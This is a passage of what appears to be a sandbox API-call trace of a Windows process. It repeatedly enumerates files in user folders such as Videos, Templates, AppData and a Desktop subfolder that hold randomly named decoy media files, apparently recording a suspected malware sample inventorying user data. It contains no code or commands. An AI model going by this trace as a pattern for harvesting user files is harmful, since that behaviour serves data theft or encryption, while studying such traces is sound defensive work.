HALPmcxz\\Start Menu\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.763] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0112.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.763] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.764] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.764] PathFindFileNameW (pszPath="") returned="" [0112.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0112.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.764] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0112.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.764] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.764] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.764] PathFindFileNameW (pszPath="") returned="" [0112.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9676de70, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9676de70, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9676de70, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9676de70, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56529600, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x8d7fa650, ftLastAccessTime.dwHighDateTime=0x1d4d17c, ftLastWriteTime.dwLowDateTime=0x8d7fa650, ftLastWriteTime.dwHighDateTime=0x1d4d17c, nFileSizeHigh=0x0, nFileSizeLow=0xe39a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-8vn9TCLWYBRe.avi", cAlternateFileName="-8VN9T~1.AVI")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcfc7c0, ftCreationTime.dwHighDateTime=0x1d4cd47, ftLastAccessTime.dwLowDateTime=0x99a7a6e0, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x99a7a6e0, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="77Cx1sWq_QSp08HQt5", cAlternateFileName="77CX1S~1")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b9d2e0, ftCreationTime.dwHighDateTime=0x1d4d236, ftLastAccessTime.dwLowDateTime=0xf3cbe320, ftLastAccessTime.dwHighDateTime=0x1d4cd20, ftLastWriteTime.dwLowDateTime=0xf3cbe320, ftLastWriteTime.dwHighDateTime=0x1d4cd20, nFileSizeHigh=0x0, nFileSizeLow=0xb695, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dDZIFmz5oUjH6dudt.avi", cAlternateFileName="DDZIFM~1.AVI")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce91190, ftCreationTime.dwHighDateTime=0x1d4cc0b, ftLastAccessTime.dwLowDateTime=0x3eca88f0, ftLastAccessTime.dwHighDateTime=0x1d4d5b3, ftLastWriteTime.dwLowDateTime=0x3eca88f0, ftLastWriteTime.dwHighDateTime=0x1d4d5b3, nFileSizeHigh=0x0, nFileSizeLow=0x105a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iLHPbBavnh_-fnnaZkXR.flv", cAlternateFileName="ILHPBB~1.FLV")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865890, ftCreationTime.dwHighDateTime=0x1d4ceaa, ftLastAccessTime.dwLowDateTime=0xfd555f60, ftLastAccessTime.dwHighDateTime=0x1d4d2f8, ftLastWriteTime.dwLowDateTime=0xfd555f60, ftLastWriteTime.dwHighDateTime=0x1d4d2f8, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wxzc0rq6VHwTta.swf", cAlternateFileName="WXZC0R~1.SWF")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a85350, ftCreationTime.dwHighDateTime=0x1d4ccbf, ftLastAccessTime.dwLowDateTime=0xbb4467b0, ftLastAccessTime.dwHighDateTime=0x1d4d1c2, ftLastWriteTime.dwLowDateTime=0xbb4467b0, ftLastWriteTime.dwHighDateTime=0x1d4d1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x4sMoy", cAlternateFileName="")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x310cebd0, ftCreationTime.dwHighDateTime=0x1d4c60a, ftLastAccessTime.dwLowDateTime=0xa481d0c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3e, ftLastWriteTime.dwLowDateTime=0xa481d0c0, ftLastWriteTime.dwHighDateTime=0x1d4cf3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y9ZmZISZtA8fIYtTxfZp", cAlternateFileName="Y9ZMZI~1")) returned 1 [0112.764] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a06350, ftCreationTime.dwHighDateTime=0x1d4d071, ftLastAccessTime.dwLowDateTime=0x305f47e0, ftLastAccessTime.dwHighDateTime=0x1d4cfe8, ftLastWriteTime.dwLowDateTime=0x305f47e0, ftLastWriteTime.dwHighDateTime=0x1d4cfe8, nFileSizeHigh=0x0, nFileSizeLow=0x16cbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_6jk0hB.avi", cAlternateFileName="")) returned 1 [0112.765] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a06350, ftCreationTime.dwHighDateTime=0x1d4d071, ftLastAccessTime.dwLowDateTime=0x305f47e0, ftLastAccessTime.dwHighDateTime=0x1d4cfe8, ftLastWriteTime.dwLowDateTime=0x305f47e0, ftLastWriteTime.dwHighDateTime=0x1d4cfe8, nFileSizeHigh=0x0, nFileSizeLow=0x16cbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_6jk0hB.avi", cAlternateFileName="")) returned 0 [0112.765] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f1a0 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f3a8 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f410 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f478 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e078 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4e0 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e128 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f548 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e180 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f5b0 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e1d8 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e230 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f208 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dcb0 | out: hHeap=0x660000) returned 1 [0112.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0112.765] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.765] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.765] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0112.765] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0112.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.766] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.766] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.766] PathFindFileNameW (pszPath="") returned="" [0112.766] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0112.766] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.766] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0112.766] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0112.766] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0112.766] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0112.766] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.766] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.766] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\") returned="k 8cyI7PkJoZDNg M\\" [0112.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0112.767] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.767] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.767] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.767] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.767] PathFindFileNameW (pszPath="") returned="" [0112.767] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x436d28f0, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x286c5480, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x286c5480, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.768] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x436d28f0, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x286c5480, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x286c5480, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe659880, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0x3711f7e0, ftLastAccessTime.dwHighDateTime=0x1d4ce35, ftLastWriteTime.dwLowDateTime=0x3711f7e0, ftLastWriteTime.dwHighDateTime=0x1d4ce35, nFileSizeHigh=0x0, nFileSizeLow=0x90cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1i2rrq2gY8nQI1n1s3.jpg", cAlternateFileName="1I2RRQ~1.JPG")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b8480, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0x1edd6940, ftLastAccessTime.dwHighDateTime=0x1d4ca23, ftLastWriteTime.dwLowDateTime=0x1edd6940, ftLastWriteTime.dwHighDateTime=0x1d4ca23, nFileSizeHigh=0x0, nFileSizeLow=0x9833, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2i1vmdTQBze3Oqp_rHR.mp3", cAlternateFileName="2I1VMD~1.MP3")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0432130, ftCreationTime.dwHighDateTime=0x1d4caee, ftLastAccessTime.dwLowDateTime=0x45015670, ftLastAccessTime.dwHighDateTime=0x1d4ce53, ftLastWriteTime.dwLowDateTime=0x45015670, ftLastWriteTime.dwHighDateTime=0x1d4ce53, nFileSizeHigh=0x0, nFileSizeLow=0x20fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2q_u.mp4", cAlternateFileName="")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8807180, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0x6b533700, ftLastAccessTime.dwHighDateTime=0x1d4c686, ftLastWriteTime.dwLowDateTime=0x6b533700, ftLastWriteTime.dwHighDateTime=0x1d4c686, nFileSizeHigh=0x0, nFileSizeLow=0xdbd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Ka6.jpg", cAlternateFileName="")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bc9370, ftCreationTime.dwHighDateTime=0x1d4cd61, ftLastAccessTime.dwLowDateTime=0xc3168d90, ftLastAccessTime.dwHighDateTime=0x1d4d124, ftLastWriteTime.dwLowDateTime=0xc3168d90, ftLastWriteTime.dwHighDateTime=0x1d4d124, nFileSizeHigh=0x0, nFileSizeLow=0xa895, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FDSheH9RWpg6rD.mp3", cAlternateFileName="FDSHEH~1.MP3")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2da0f0, ftCreationTime.dwHighDateTime=0x1d4cee3, ftLastAccessTime.dwLowDateTime=0x8dd463b0, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0x8dd463b0, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x6f76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="km4Z_piC-Thg5BA.mkv", cAlternateFileName="KM4Z_P~1.MKV")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6863950, ftCreationTime.dwHighDateTime=0x1d4c70d, ftLastAccessTime.dwLowDateTime=0xb32c1310, ftLastAccessTime.dwHighDateTime=0x1d4cfd9, ftLastWriteTime.dwLowDateTime=0xb32c1310, ftLastWriteTime.dwHighDateTime=0x1d4cfd9, nFileSizeHigh=0x0, nFileSizeLow=0xe2c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kwu4Zgrqa-j.wav", cAlternateFileName="KWU4ZG~1.WAV")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e6d420, ftCreationTime.dwHighDateTime=0x1d4c8ac, ftLastAccessTime.dwLowDateTime=0x5c13fa00, ftLastAccessTime.dwHighDateTime=0x1d4d3c8, ftLastWriteTime.dwLowDateTime=0x5c13fa00, ftLastWriteTime.dwHighDateTime=0x1d4d3c8, nFileSizeHigh=0x0, nFileSizeLow=0xc01, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L2lRvkk38ZbjI6t.wav", cAlternateFileName="L2LRVK~1.WAV")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efc9040, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x45746640, ftLastAccessTime.dwHighDateTime=0x1d4cab3, ftLastWriteTime.dwLowDateTime=0x45746640, ftLastWriteTime.dwHighDateTime=0x1d4cab3, nFileSizeHigh=0x0, nFileSizeLow=0xafcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m 3MWBBW.wav", cAlternateFileName="M3MWBB~1.WAV")) returned 1 [0112.768] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9931a440, 